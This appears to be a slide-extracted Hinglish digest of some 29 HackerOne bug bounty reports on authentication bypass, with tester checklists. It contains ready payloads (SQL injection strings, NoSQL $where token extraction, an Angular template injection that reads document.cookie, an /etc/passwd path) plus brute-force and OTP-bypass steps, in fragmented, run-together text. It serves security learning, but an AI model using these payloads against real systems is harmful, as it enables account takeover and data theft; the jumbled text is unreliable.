29 Real-World HackerOne Reports · Authentication Defeat · Enumeration to Full Account Takeover
"Incorrect password for this user." (401), par invalid email par "User not found." (404). Hacker ne Burp Intruder se usernames.txt load
karke request baarish ki → "Incorrect password" wale emails = Valid Targets → Brute Force &
Credential Stuffing ready!/wp-json/wp/v2/users/15 → Bina auth ke Admin
ka Email + Username leak! CORS Access-Control-Allow-Credentials: true
→ JS script se logged-in user ka data chori. Admin ka email milte hi → /wp-login.php?action=lostpassword → Server ne confirm kiya "valid
account hai" → Brute Force ya Phish ready!/wp-json/wp/v2/users ya /api/users/1 check
karo. Kya email leak ho raha hai?
Access-Control-Allow-Credentials dekho. Kya third-party access
possible hai?
/wp-json/wp/v2/users/1, /2, /3... sab check karo.
/profiles/activationsms (Resend) par koi limit nahi! Hacker ne 3 fixed
codes chune (1056,1057,1058) → Har 30 sec resend + try → 24-72 ghante baad server ne wahi
OTP generate kiya → Account Takeover! Probability game: 10,000 mein se 3 = Sooner or later
success.success: true karke dekho.
GET /api/v1/users/attacker_user → Username
badla victim_admin → Server ne doosre user ka data de diya! Response:
is_email_confirmed: true, is_email_public: false. Ab hacker janta hai ye active account hai →
Brute Force ya Forgot Password par focus!
is_admin, is_verified, email_status jaise fields dhoondho.
303 See Other (logout
redirect) — par Burp Intruder mein browser refresh nahi kiya toh server har request process
karta raha! 166,236th request par HTTP 302 mila = Sahi OTP hit →
Session active → Dashboard access bina 2FA ke!429 Too Many Requests. Par 1000 alag accounts par 1-1 password try kiya
+ CSRF tokens & cookies hata diye (Stateless request) → Server ne kabhi 429 nahi diya!
Cluster Bomb mode: 1000 usernames × common passwords → 200 OK =
Account cracked!header("Location: login.php"); ke baad exit(); missing! Browser redirect hua par server ne neeche ka pura
Personnel Data response body mein bhej diya. Burp mein Content-Length bahut bada tha →
Hacker ne Location header delete kiya → 302 ko 200 banaya → Pura
Admin Dashboard dikha bina login ke!/admin, /dashboard, /personnel sab par EAR check.
keyword parameter bina
sanitize kiye seedha DB query mein! Error-based: EXTRACTVALUE(8429, CONCAT(0x5c, (SELECT DATABASE()))) → DB name error
mein leak. Time-based: SLEEP(5) → 5 sec delay = vulnerable! SQLMap se
poora database extract.'
dalo. SQL Syntax Error aaye toh Error-based injection check karo.
') OR SLEEP(10)-- dalo. Response 10 sec late aaye toh Blind SQLi
hai.
sqlmap -r test.txt --dbs chalao.
$where operator block nahi tha → Hacker ne JS
regex se admin ka Password Reset Token ek-ek character dhoondha: {"$where":"this.roles.includes('admin') && /^A/.test(this.services.password.reset.token)"}.
Token milte hi password reset → Admin login → Webhooks se malicious script → Root Shell =
RCE!{"$ne": null} ya {"$gt": ""} daal. Login ho
gaya toh NoSQLi hai.
{"username": {"$regex": "^a"}} dalkar valid users dhoondho.
{"$where": "sleep(5000)"} delay hota hai?
ldap3 library
se bina credentials ke connection.bind() → True! Poore network ki directory structure dikhi: domains (dc=disa,dc=mil), internal admin accounts (cn=iasdsadmin), emails, phone numbers — sabh bina password ke!ldapsearch ya Python ldap3 se bina password
ke connect karo.
mail, telephoneNumber, memberOf fields extract karo.
{{ 7*7 }} dala
→ Page render par 49 dikha = CSTI confirmed! Angular payload: {{constructor.constructor('alert(document.cookie)')()}} → Description
mein save = Stored XSS. Jo bhi admin collection dekhega, uska Session Cookie hacker ke paas!
{{ 7*7 }},
${ 7*7 }, <%= 7*7 %> dalkar dekho. 49
dikhta hai?
{"valid": false}. Burp mein response intercept karke false → true kiya → Frontend ne "true" dekha aur
bina sahi code ke appointment book hone diya! Frontend sirf server ke "Status Message" par
trust kar raha tha.false → true, 0 → 1, error → success dalkar dekho.
401 Unauthorized ko 200 OK mein badal kar
dekho.
Cache-Control: no-store nahi bheja → Logout ke baad
browser "Back" button dabaya → Cached page se dashboard data dikha bina login ke! Shared
computer = Full access.https:// se shuru ho raha hai? Nahi toh High-level bug hai.
Cache-Control aur Pragma headers check
karo.
file:///%2f%2e%2e%2fetc%2fpasswd se curl bypass hoga. Daniel Stenberg
(curl creator) ne 2 min mein reject kiya: "file:// ka kaam hi local files read karna hai —
isme bypass ki kya baat?" Hacker ne AI se report generate ki thi — "Word Salad" impressive
par logic zero → BANNED!GET /api/v1/subscriptions/view?id=1005 → ID
badla 1004 → Server ne doosre customer ki billing info (Invoice,
Plan, Address) de di! Server check nahi kar raha tha ki session_user_id == requested_data_owner_id. Simple increment/decrement
se poora customer database leak!PUT /authentication/password → Logout kiya → Browser B mein login kiya
→ Repeater se purani request bheji → Server ne "Success" bola! Purana CSRF token naye
session mein bhi kaam kar raha tha → Hidden backdoor: request ek baar capture, kabhi bhi
replay!document.cookie nahi chura sakte.
Par "Session Riding" kiya — Page se CSRF token read kiya → fetch() se
admin ke browser se hi /admin/account-user-edit.php hit karke naya
admin account create kar liya!token, csrf, ya secret dhoondho jo JS se read ho sake.
csrftoken copy kiya → User-B ke
session mein paste kiya → Server ne reject nahi kiya! Server sirf check karta tha "Kya token
valid hai?" — NOT "Kya ye is user ka hai?" → Hacker ne malicious page banaya jo apna token
hardcode karke kisi ka bhi API token delete kar sakta tha.302 Found
response + cookies save ki. Phir galat passwords se 429 Too Many Requests trigger kiya. Burp mein 429 error ko purane
Success response se replace karke forward kiya → Browser ne cookies set ki → Dashboard
access bina sahi password ke!cloneAttachment action ne permission check
nahi kiya! Hacker ne attachmentId=Victim_File + parentId=Hacker_ID bheja → Server ne victim ki private medical file
clone karke hacker ke account se link kar di → /servlet/servlet.FileDownload?file=[Cloned_ID] → Sensitive records
download!clone, copy, share,
reassign actions dhoondho.